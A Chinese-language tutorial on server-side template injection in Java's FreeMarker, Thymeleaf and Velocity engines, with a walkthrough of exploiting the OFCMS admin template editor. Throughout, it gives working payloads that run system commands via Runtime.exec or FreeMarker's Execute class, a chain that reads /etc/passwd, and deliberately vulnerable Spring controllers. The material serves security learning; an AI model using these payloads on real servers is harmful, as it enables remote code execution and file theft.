一、Java模板引擎漏洞分析
1、模板引擎介绍
目前 Java 常见的模板引擎 FreeMarker,Velocity 和 Thymeleaf。
模板引擎,其实就是一个根据模板和数据输出结果的一个工具,目的是为了让显示与数据分离。 我们都了解 JSP,其实 JSP 也是一种模板引擎,通过后端向前端插入数据而实现动态网页的效果。 在 JSP 之前,使用 servlet 来实现动态网页效果,将数据返回到前端生成 HTML 页面时,异常的繁琐,需 要使用 out.write() 一行行的输出,比如:
out.write("<html>\n")
out.write("<head>"\n)
out.write("<h1>hello servlet</h1>\n")
out.write("</head>\n")
out.write("</html>\n")
2、模板注入漏洞
SSTI (Server-Side Template Injection,服务器端模板注入),广泛来说是在模板引擎解析模板时,可 能因为代码实现不严谨,存在将恶意代码注入到模板的漏洞。这种漏洞可以被攻击者利用来在服务器端 执行任意代码,造成严重的安全威胁。
简单说,在模板引擎渲染模板时,如果模板中存在恶意代码,进而会在渲染时执行恶意代码。不同的模 板触发漏洞的场景也不同,下面我们将针对 FreeMarker,Velocity 和 Thymeleaf 这三款模板引擎进行 详细讲解。
因此,模板注入漏洞是基于模板引擎而存在的。如果项目中引入相关模板引擎组件,才有可能存在模板 注入漏洞。
二、FreeMarker 模板引擎
FreeMarker 是一款模板引擎:即一种基于模板和要改变的数据,并用来生成输出文本(HTML网页,电 子邮件,配置文件,源代码等)的通用工具。它不是面向昀终用户的,而是一个Java类库,是一款程序员 可以嵌入他们所开发产品的组件。
1、总体结构
实际上用程序语言编写的程序就是模板。FTL (代表FreeMarker模板语言)。这是为编写模板设计的非常 简单的编程语言。
模板(FTL编程)是由如下部分混合而成的:
(1)插值:这部分的输出会被计算的值来替换。插值由${ and }所分隔的(或者#{ and } ,这种风格已经不建议再使用了。
(2)FTL 标签:FTL标签和HTML标签很相似,但是它们却是给FreeMarker的指示,而且不会打印在输 出内容中。
(3)注释:注释和HTML的注释也很相似,但它们是由<#--和--> 来分隔的。注释会被FreeMarker 直接忽略,更不会在输出内容中显示。
2、插值
插值的使用格式是:${*expression*} ,这里的expression可以是所有种类的表达式(比如${100 + x} )。
插值是用来给表达式插入具体值然后转换为文本(字符串)。插值仅仅可以在两种位置使用:
在文本区(比如 <h1>Hello ${name}!</h1> ) 和 字符串表达式 (比如 <#include "/footer/${company}.html"> )
中。
3、内建函数
Freemarker 自带大量的内建函数。具体可看:http://freemarker.foofun.cn/ref_builtins.html
在这些大量的内建函数里面,我们主要关注两个,分别为:api 和 new 。
3.1、api 内建函数
如果value本身支持这个额外的特性,*value*?api提供访问*value*的API (通常是 Java API),比如*value*?api.*someJavaMethod()* ,当需要调用对象的Java方法时,这种方式很少使用,但是 FreeMarker 揭示的value的简化视图的模板隐藏了它,也没有相等的内建函数。例如,当有一个Map , 并放入数据模型 (使用默认的对象包装器),模板中的myMap.myMethod()基本上翻译成Java的((Method) myMap.get("myMethod")).invoke(...) ,因此不能调用myMethod 。如果编写了myMap?api.myMethod()来代替,那么就是Java中的myMap.myMethod() 。
3.2、new 内建函数
这是用来创建一个确定的TemplateModel实现变量的内建函数。
在?的左边你可以指定一个字符串,是TemplateModel实现类的完全限定名。结果是调用构造方法 生成一个方法变量,然后将新变量返回。
比如:
<#-- Creates an user-defined directive be calling the parameterless constructor
of the class -->
<#assign word_wrapp = "com.acmee.freemarker.WordWrapperDirective"?new()>
<#-- Creates an user-defined directive be calling the constructor with one
numerical argument -->
<#assign word_wrapp_narrow = "com.acmee.freemarker.WordWrapperDirective"?new(40)>
该内建函数可以是出于安全考虑的,因为模板作者可以创建任意的Java对象,只要它们实现了TemplateModel接口,然后来使用这些对象。而且模板作者可以触发没有实现TemplateModel接口 的类的静态初始化块。你可以(从 2.3.17版开始)使用Configuration.setNewBuiltinClassResolver(TemplateClassResolver)或设置new_builtin_class_resolver来限制这个内建函数对类的访问。
4、Freemarker 示例代码
先从正向代码了解什么是 Freemarker 模板引擎。
我们使用 SpringBoot 整合 Freemarker,做个简单的输出。
①、第一步:创建项目 打开 IDEA 新建项目,点击下一步。如下图所示:
②、第二步:选择依赖 依赖我们选择 Web - Spring Web,Template - Apache Freemarker,以及SpringBoot 我选择的是 2.7.8。当然Freemarker模板我们也可以选择手动在 pom.xml 文件中添加点击创建即可,如下图所示:
③、第三步:Freemarker 的配置 我们在src/main/resources/application.properties文件中添加如下 Freemarker 配置,以及修改下端口。如下图所示:
④、第四步:编写 .ftl 模板
在src/main/resources/templates目录下新建一个名为 index.ftl 的文件,并键入如下模板代码,如下图所示:
⑤、第五步:编写 Controller
在src/main/java/com/example/freemarkerdemo目录下,新建一个名为 FreemarkerController 的 Java Class,并键入以下代码,如下图所示:
⑥、启动项目
启动项目,浏览器访问 127.0.0.1:8888/freemarker/index 观察响应结果,如下图所示:
三、Freemarker 模板注入漏洞
1、漏洞解释
对于模板注入漏洞成因可以简单的说成是在模板引擎渲染模板文件时,由于 模板文件中存在恶意代码,从而造成的攻击。
对于 Freemarker 模板注入漏洞成因也是如此,只不过他与其他模板引擎不同的是,他的攻击可以是直 接把恶意代码嵌入到 html 文件中,也就是 .ftl 文件中,进而就会造成有危害的攻击。
Freemarker 无法接受用户的输入 Pyaload 进行攻击,也就是我们直接传参进行攻击,因为会有转码等 操作。
因此对于 Freemarker 模板注入漏洞的攻击,我们着重将视角放在上传模板,修改模板等功能。
比如修改模板功能,我们只需在修改的模板中嵌入攻击 Payload 即可成功。
2、漏洞 Payload
在上面我们学习了 FreeMarker 中有大量的内建函数,其中 new 函数和 api 函数可以实现达到命令执行 的效果。
但对于 api 函数必须在配置项 api_ builtin_enabled为true时才有效,而该配置在 2.3.22版本之后 默认为 false。
2.1、new 内建函数利用
主要是寻找实现了TemplateModel接口的可利用类来进行实例化。
freemarker.template.utility 包中存在三个符合条件的类,分别为 Execute 类、 ObjectConstructor 类、 JythonRuntime 类。
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
<#assign value="freemarker.template.utility.ObjectConstructor"?
new()>${value("java.lang.ProcessBuilder","calc.exe").start()}
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import
os;os.system("calc.exe")</@value>//@value为自定义标签
2.2、api 内建函数利用
我们可以通过 api 内建函数获取类的 classloader 然后加载恶意类,或者通过 Class.getResource 的返回值来访问 URI 对象。 URI 对象包含 toURL 和 create 方法,我们通过 这两个方法创建任意 URI ,然后用 toURL 访问任意URL。
加载恶意类
<#assign classLoader=object?
api.class.getClassLoader()>${classLoader.loadClass("Evil.class")}
读取任意文件
<#assign uri=object?api.class.getResource("/").toURI()> <#assign input=uri?
api.create("file:///etc/passwd").toURL().openConnection()> <#assign is=input?
api.getInputStream()> FILE:[<#list 0..999999999 as _> <#assign byte=is.read()>
<#if byte == -1> <#break> </#if> ${byte}, </#list>]
3、漏洞示范
index.ftl 文件中嵌入以下攻击代码后,再 次访问,即可实现弹出计算器的效果。
这里我们搭建好环境后
直接查看hellocontrol层的代码
发现hello 接口是获取用户输入的值替换到模板文件插值中。
然后查看 template 接口,在该接口中主要使用了 StringTemplateLoader 下的 putTemplate() 方法,该方法是将模板放入加载器中
从这个项目来看,也就是可以动态修改添加指定模板内容,我们将模板内容嵌入恶意代码后,再次访问该模板,在渲染时即可触发攻击行为。
我们访问 template 接口,构造如下数据包,观察响应结果
再次访问hello接口,发送数据即可弹出计算器
4、OFCMS模板注入漏洞分析
配置好环境后,http://localhost:8888/ofcms-admin/admin键入账号密码 admin/123456
在后台管理中,有一处模板文件功能,该功能可以修改模板文件。
我们点击保存,此时使用 BurpSuite 拦截请求数据包,获取接口地址
通过接口地址 URL 去项目中定位代码,全局搜索 /cms/template 后得到结果,位于ofcms-
admin\src\main\java\com\ofsoft\cms\admin\controller\cms\TemplateController.java代码中
在第 107 到 126 处,为处理保存模板功能的代码
第 121 行到 124 行,在抓取接口数据包时,看到了 file_content 参数为修改后的模板代码
在第 121 行获取了 file_content 参数。
在第 122 行做了字符串替换,应该是防止 XSS
关键在于第 124 行,使用 FileUtils.writeString() 创建文件流直接向 file_name 指定的文件写入 file_content 参数传入的代码。
在模板编辑时,我们在模板中键入恶意代码,使用保存模板方法,将要保存的模板代码直接写入目标模板中。
我们直接验证一下
进入后台管理系统,访问模板设置-模板文件功能,随便选择一个模板进行编辑,添加如下代码,点击保存
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
我们访问 404.html 文件,http://localhost:8888/ofcms-admin/404.html,弹出计算器
四、Thymeleaf
1、Thymeleaf 基础
Thymeleaf 提供了多种标准表达式包括:
简单表达式:
Variable expressions(变量表达式) ${...}
Selection expressions(选择表达式) *{...}
Message (i18n) expressions(消息表达式) #{...}
Link (URL) expressions(链接表达式) @{...}
Fragment expressions(分段表达式) ~{...}
字面量:
文本: 'one text' 、 'Another one!' 等;
数值:0、34、3.0、12.3等;
布尔:true、false
Null:null
Literal token(字面标记): one、sometext、 main等;
文本操作:
字符串拼接: +
文本替换: |The name is ${name}|
算术操作:
二元运算符: + 、 - 、 * 、 / 、 %
减号(单目运算符): -
布尔操作:
二元运算符: and 、 or
布尔否定(一元运算符): ! 、 not
比较和等价:
比较: > 、 < 、 >= 、 <= ( gt 、 lt 、 ge 、 le )
等价: == 、 != ( eq 、 ne )
条件运算符:
If-then: (if) ? (then)
If-then-else: (if) ? (then) : (else)
Default: (value) ?: (defaultvalue)
特殊标记:
No-Operation(无操作): _
2、条件表达式
变量表达式是在上下文变量(在Spring术语中也称为模型属性)上执行的OGNL表达式(如果您正在将 Thymeleaf与Spring集成,则为Spring EL)。它们的形式如下:
${session.user.name}
可以在属性值或其一部分中找到它们,具体取决于属性的类型:
<span th:text="${book.author.name}">
以上表达式在OGNL和SpringEL中等效于:
((Book)context.getVariable("book")).getAuthor().getName()
可以在不仅涉及输出的情况下找到变量表达式,还包括更复杂的处理,例如条件语句、迭代等:
<li th:each="book : ${books}">
在这个例子中, ${books}从上下文中选择名为 books 的变量,并将其评估为可迭代的,以在 th:each 循环中使用。
3、选择表达式
选择表达式与变量表达式非常相似,只是它们将在先前选择的对象上执行,而不是在整个上下文变量映射 上执行。它们的形式如下:
*{customer.name}
它们所操作的对象由 th:object 属性指定:
<div th:object="${book}">
...
<span th:text="*{title}">...</span>
...
</div>
这将等同于:
{
// th:object="${book}"
final Book selection = (Book) context.getVariable("book");
// th:text="*{title}"
output(selection.getTitle());
}
4、消息表达式
消息表达式(通常称为文本外部化、国际化或i18n)允许我们从外部源(.properties文件)检索特定于 语言环境的消息,通过引用一个键并(可选)应用一组参数来引用它们。
在 Spring 应用程序中,这将自动与 Spring 的 MessageSource 机制集成。
#{main.title}
#{message.entrycreated(${entryId})}
可以在模板中找到它们,如下所示:
<table>
...
<th th:text="#{header.address.city}">...</th>
<th th:text="#{header.address.country}">...</th>
...
</table>
注意,可以在消息表达式中使用变量表达式,如果希望消息键由上下文变量的值确定,或者想将变量指定为参数。例如:
#{${config.adminWelcomeKey}(${session.user.name})}
5、链接表达式
链接表达式旨在构建URL并向其添加有用的上下文和会话信息(通常称为URL重写过程)。 因此,对于部署在Web服务器的/myapp上下文中的Web应用程序,例如:
<a th:href="https://www.freebuf.com/articles/network/@{/order/list}">...</a>
可以转换为以下内容:
<a href="https://www.freebuf.com/myapp/order/list">...</a>
或者,如果需要保持会话并且未启用cookie(或者服务器尚未知道),则可以转换为以下内容:
<a href="https://www.freebuf.com/myapp/order/list;jsessionid=23fa31abd41ea093">...</a>
URL还可以带参数:
<a th:href="https://www.freebuf.com/articles/network/@{/order/details(id=${orderId},type=${orderType})}">...</a>
结果如下所示:
注意:在标签属性中应该对&符号进行HTML转义...
<a href="https://www.freebuf.com/myapp/order/details?id=23&amp;type=online">...</a>
链接表达式可以是相对的,这种情况下不会添加应用程序上下文前缀到URL中:
<a th:href="https://www.freebuf.com/articles/network/@{../documents/report}">...</a>
也可以是服务器相对的(同样没有应用程序上下文前缀):
<a th:href="https://www.freebuf.com/articles/network/@{~/contents/main}">...</a>
还可以是协议相对的(与绝对URL类似,但浏览器将使用在显示页面时使用的HTTP或HTTPS协议):
<a th:href="https://www.freebuf.com/articles/network/@{//static.mycompany.com/res/initial}">...</a>
当然,链接表达式也可以是绝对的:
<a th:href="https://www.freebuf.com/articles/network/@{http://www.mycompany.com/main}">...</a>
6、分段表达式
分段表达式是 3.x 版本新增的内容。
分段段表达式是一种表示标记片段并将其移动到模板周围的简单方法。正是由于这些表达式,片段可以 被复制,或者作为参数传递给其他模板等等。
常见的用法是使用 th:insert 或 th:replace: 插入片段:
<div th:insert="~{commons :: main}">...</div>
但是它们可以在任何地方使用,就像任何其他变量一样:
<div th:with="frag=~{footer :: #main/text()}">
<p th:insert="${frag}">
</div>
分段表达式可以有参数。
7、表达式预处理
表达式预处理(expression preprocessing),它被定义在下划线 __ (两个下划线)之间:
#{selection.__${sel.code}__}
我们看到的变量表达式 ${sel.code} 将先被执行,假如结果是 "ALL" ,那么_之间的值 "ALL" 将被看做 表达式的一部分被执行,在这里会变成 selection.ALL 。
五、Thymeleaf 模板注入漏洞
1、漏洞解释
Thymeleaf SSTI 漏洞通常发生在使用动态输入来生成 Thymeleaf 模板的情况下。攻击者可以通过精心构 造的输入向服务器发送恶意代码,这些代码将被 Thymeleaf 视为有效的模板表达式,并在服务器上执行。因此会导致服务器上的远程代码执行,从而使攻击者能够完全接管服务器并访问敏感数据。
在 Thymeleaf 中,可以使用表达式来动态设置模板的值。例如, ${user.name} 将被替换为用户的名 称。攻击者可以使用类似 ${T(java.lang.Runtime).getRuntime().exec('calc')} 的表达式来执行 任意的系统命令。
Thymeleaf 3.0.0 至 3.0.11 版本存在模板注入漏洞。该漏洞在Thymeleaf 3.0.12及以后版本已经得到修复,但还是存在一些 Bypass 的方式。
2、漏洞分析
基础案例,这里以 https://github.com/veracode-research/spring-view-manipulation/ 这个项目进行操作
1、选择模板
HelloController.java 第 24,25 行,代码如下所示:
@GetMapping("/path")
public String path(@RequestParam String lang) {
return "user/" + lang + "/welcome"; //template path is tainted
}
这段代码作用主要是语言切换。定义 CN 模板和 EN 模板,通过修改 lang 的参数来实现中英文页面展示。 而此时通过拼接路径名实现选择模板造成了模板注入,lang 的参数我们可控,即可传入攻击语句。
2、片段选择器
HelloController.java 第 31 到 34 行,代码如下所示:
@GetMapping("/fragment")
public String fragment(@RequestParam String section) {
return "welcome :: " + section; //fragment is tainted
}
这是 3.x 版本新增的内容。在分段表达式中有一个 片段选择器 语法,用于选择模板中的某个片段或元素,并在页面中渲染该片段或元素。片段选择器通常以 th: 开头,例如 th:fragment 或 th:include 。 th:fragment 用于定义一个片段, th:include 用于在页面中包含一个片段。
这段代码是片段选择器存在模板注入问题,在 section 参数中传入攻击语句。
http://127.0.0.1:8090/section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).
getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x
3、拼接路径
HelloController.java 第 36 到 40 行,代码如下所示:
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
//returns void, so view name is taken from URI
}
由于返回为空,所以视图名字会从 URI 中获取,并且接收了 document 的传参,我们可以键入以下攻击语句。
http://127.0.0.1:8090/doc/__%24%7Bnew%20java.util.Scanner(T(java.lang.Runtime).ge
tRuntime().exec(%22calc%22).getInputStream()).next()%7D__%3A%3A.x
六、Velocity
Velocity 的功能远不止于 Web 领域;例如,它可以用于从模板生成 SQL、PostScript 和 XML。它可以作 为一个独立的实用程序用于生成源代码和报告,也可以作为其他系统的集成组件。例如,Velocity 为各 种 Web 框架提供模板服务,使它们具备视图引擎,便于按照真正的 MVC 模型开发 Web 应用程序。
1、基础
一个基础的基于 VTL 的模板文件页面
<html>
<body>
Hello $customer.Name!
<table>
#foreach( $mud in $mudsOnSpecial )
#if ( $customer.hasPurchased($mud) )
<tr>
<td>
$flogger.getPromo( $mud )
</td>
</tr>
#end
#end
</table>
</body>
</html>
2、Velocity 模板语言(VTL,Velocity Template Language)
VTL 使用引用的方式将动态内容嵌入网站,变量是其中一种引用的类型,它可以引用 Java 代码中定义的 内容,或者可以从网页中的 VTL 语句中获取其值。以下是一个可嵌入 HTML 文档中的 VTL 语句示例:
#set( $a = "Velocity" )
和所有 VTL 语句一样,以 # 字符开头并包含一个指令,比如上面的 set。上面的示例中,变量是 $a,值 为 Velocity。这个变量,和所有引用一样,以 $ 字符开头。字符串值始终用引号括起来,可以是单引号 或双引号。
3、变量
在 Velocity 模板语言中,变量使用$符号来引用,例如 $variable_name 。变量可以引用 Java 对象, Map 中的键值对,以及其他的数据类型。比如上面示例模板文件中的 $mud ,可以获取通过上下文以及 后端传递获取 $mud 变量值。
$foo
$mudSlinger
$mud_slinger
$mudSlinger1
4、方法
方法在 Java 代码中被定义,并且能够执行一些有用的操作。方法是由一个$`字符开头的 VTL 标识符和 VTL 方法体组成的引用。VTL 方法体由一个 VTL 标识符、一个左括号字符("(")、一个可选参数列表、一个 右括号字符(")")组成。以下是VTL中有效的方法引用示例:
$customer.getAddress()
$purchase.getTotal()
$page.setTitle( "My Home Page" )
$person.setAttributes( ["Strange", "Weird", "Excited"] )
5、set 指令
#set 指令用于设置引用的值。一个值可以被赋给一个变量引用或一个属性引用,并且这发生在括号中, 就像下面所示的示例一样。
#set( $primate = "monkey" )
#set( $customer.Behavior = $primate )
赋值语句的左侧必须是一个变量引用或一个属性引用。右侧可以是以下类型之一:
变量引用 字符串字面量 属性引用 方法引用 数字字面量 ArrayList Map
#set( $monkey = $bill ) ## variable reference
#set( $monkey.Friend = "monica" ) ## string literal
#set( $monkey.Blame = $whitehouse.Leak ) ## property reference
#set( $monkey.Plan = $spindoctor.weave($web) ) ## method reference
#set( $monkey.Number = 123 ) ##number literal
#set( $monkey.Say = ["Not", $my, "fault"] ) ## ArrayList
#set( $monkey.Map = {"banana" : "good", "roast beef" : "bad"}) ## Map
6、set 指令攻击语句示例
(1)案例一
#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",nu
ll).invoke(null,null).exec("calc")
它定义了一个名为$e的变量并将其赋值为字符串 "e"。然后,该代码使用 Java 的反射机制,获取了运 行时类java.lang.Runtime ,调用了它的getRuntime()方法,并使用exec()方法执行了一个操作 系统命令 "calc",也就是打开了 Windows 计算器程序。
(2)案例二
#set($x='')##
#set($rt = $x.class.forName('java.lang.Runtime'))##
#set($chr = $x.class.forName('java.lang.Character'))##
#set($str = $x.class.forName('java.lang.String'))##
#set($ex=$rt.getRuntime().exec('id'))##
$ex.waitFor()
#set($out=$ex.getInputStream())##
#foreach( $i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
首先,第一行定义了一个空字符串变量$x。接下来的三行代码通过反射获取了三个Java类: java.lang.Runtime,java.lang.Character和java.lang.String。这些类是Java标准库中的类,用于在运行 时执行系统命令和操作字符串。
接下来的一行代码使用Java反射机制执行了一个系统命令'id'。执行结果存储在变量$ex中。然后通过调用 $ex.waitFor()等待系统命令执行完毕。
接下来的一行代码获取了$ex的输出流,并将其存储在变量$out中。昀后,使用一个foreach循环来遍历 $out的所有可用字节,并将它们转换为字符输出。这段代码的效果是获取'id'命令的输出结果并将其作为字符串输出。
(3)案例三
#set ($e="exp")
#set
($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invok
e(null,null).exec($cmd))
#set
($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").in
voke($a))
#set($sc = $e.getClass().forName("java.util.Scanner"))
#set($constructor =
$sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\A"))
#if($scan.hasNext())
$scan.next()
#end
首先,代码创建一个变量$e并将其设置为字符串 "exp"。
接下来,代码调用 Java 反射 API 来获取 Runtime 类的一个方法,并使用exec方法执行$cmd变量中 存储的命令。这个命令的输出将被保存在变量$input中。
然后,代码使用 Java 反射 API 获取 Scanner 类和其构造函数,以及使用$input变量创建 Scanner 对象。该对象的useDelimiter方法设置了输入流的分隔符。
最后,代码检查 Scanner 对象是否有下一个输入行。如果有,它将输出该行。否则,什么也不会发生。
七、Velocity 模板注入漏洞
Velocity 小于等于 2.2 版本存在模板注入漏洞。
在 2.0 版本,Apache Velocity 改名为了 Apache Velocity Engine,在 MAVEN 仓库下所示:
在 src/main/java/com/example/velocityssti ,创建一个名为 VelocityEvaluate 的 Java Class, 并键入以下代码,最终如下图所示:
package com.example.velocityssti;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.Velocity;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import java.io.StringWriter;
/**
* 编号7089
* @author powerful
fcmit.cc这段代码是一个 Java Spring Boot Web应用程序中的一个控制器方法,使用了 Velocity 模板引擎库来解
析并渲染模板。该方法使用 HTTP GET 请求,映射到 "/velocityevaluate" 路径。
具体来说,该方法接受一个名为 "template" 的字符串参数,表示 Velocity 模板的内容。该方法初始化
Velocity 引擎,创建一个 Velocity 上下文对象,将一个名为 "author" 的变量添加到上下文中,并将上下
文对象和一个名为 "test" 的模板名称传递给 Velocity.evaluate() 方法,该方法使用模板和上下文对象生
成输出,将结果写入一个 StringWriter 对象中。
启动运行项目,访问浏览器访问 http://127.0.0.1:8080/velocityevaluate?
template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod
(%22getRuntime%22,null).invoke(null,null).exec(%22calc%22)
即可在 Windows 环境下触发弹出计算器操作。
*/
@Controller
public class VelocityEvaluate {
//http://localhost:8080/velocityevaluate?
template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMet
hod(%22getRuntime%22,null).invoke(null,null).exec(%22calc%22)
@GetMapping("/velocityevaluate")
public void velocity(String template) {
Velocity.init();
VelocityContext context = new VelocityContext();
context.put("author", "powerful");
StringWriter swOut = new StringWriter();
Velocity.evaluate(context, swOut, "test", template);
}
}
这段代码是一个 Java Spring Boot Web应用程序中的一个控制器方法,使用了 Velocity 模板引擎库来解 析并渲染模板。该方法使用 HTTP GET 请求,映射到 "/velocityevaluate" 路径。 具体来说,该方法接受一个名为 "template" 的字符串参数,表示 Velocity 模板的内容。该方法初始化 Velocity 引擎,创建一个 Velocity 上下文对象,将一个名为 "author" 的变量添加到上下文中,并将上下 文对象和一个名为 "test" 的模板名称传递给 Velocity.evaluate() 方法,该方法使用模板和上下文对象生 成输出,将结果写入一个 StringWriter 对象中。
启动运行项目,访问浏览器访问 http://127.0.0.1:8080/velocityevaluate? template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod (%22getRuntime%22,null).invoke(null,null).exec(%22calc%22)
template :待处理的 Velocity 模板。
context :上下文数据,即用于替换模板中占位符的数据。
writer :输出结果的写入器,用于将生成的结果写入到指定位置。
在 src/main/java/com/example/velocityssti ,创建一个名为 VelocityMerge 的 Java Class,并键 入以下代码,最终如下图所示:
package com.example.velocityssti;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.Velocity;
import org.apache.velocity.runtime.RuntimeServices;
import org.apache.velocity.runtime.RuntimeSingleton;
import org.apache.velocity.runtime.parser.node.SimpleNode;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import java.io.IOException;
import java.io.StringReader;
import java.io.StringWriter;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.text.ParseException;
/**
* 编号7089
* @author powerful
*/
@Controller
public class VelocityMerge {
@RequestMapping("/velocitymerge")
@ResponseBody
fcmit.cc从指定路径读取模板文件,如果模板文件中带有攻击载荷语句,即可通过 template.merge 渲染触发模
板注入漏洞。
public String velocity2(@RequestParam(defaultValue = "nth347") String
username) throws IOException, ParseException,
org.apache.velocity.runtime.parser.ParseException {
String templateString = new
String(Files.readAllBytes(Paths.get("C:\\Temp\\1.vm"))
);
templateString = templateString.replace("<USERNAME>", username);
StringReader reader = new StringReader(templateString);
VelocityContext ctx = new VelocityContext();
ctx.put("name", "power7089");
ctx.put("phone", "70897089");
ctx.put("email", "power7089@163.com");
StringWriter out = new StringWriter();
org.apache.velocity.Template template = new
org.apache.velocity.Template();
RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();
SimpleNode node = runtimeServices.parse(reader,
String.valueOf(template));
template.setRuntimeServices(runtimeServices);
template.setData(node);
template.initDocument();
template.merge(ctx, out);
return out.toString();
}
}
从指定路径读取模板文件,如果模板文件中带有攻击载荷语句,即可通过 template.merge 渲染触发模 板注入漏洞。
上图,在第 33 行处,指定了模板文件的绝对路径地址,假设此模板文件我们可控,我在该文件下键入攻击载荷语句,如下所示:
#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",nu
ll).invoke(null,null).exec("calc")
然后,启动项目,浏览器访问: http://127.0.0.1:8080/velocitymerge ,即可在 Windows 环境下触发弹出计算器操作。
最后, merge() 方法是将模板和数据合并,生成一个文本输出。它需要一个 VelocityContext 对象作为参数,用于存储数据,并将数据与模板合并,生成输出。 evaluate() 方法也是将模板和数据合并,生成一个文本输出,但是它返回的是一个布尔值,表示模板是否成功执行。evaluate() 方法通常用于执行带有条件的模板。
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)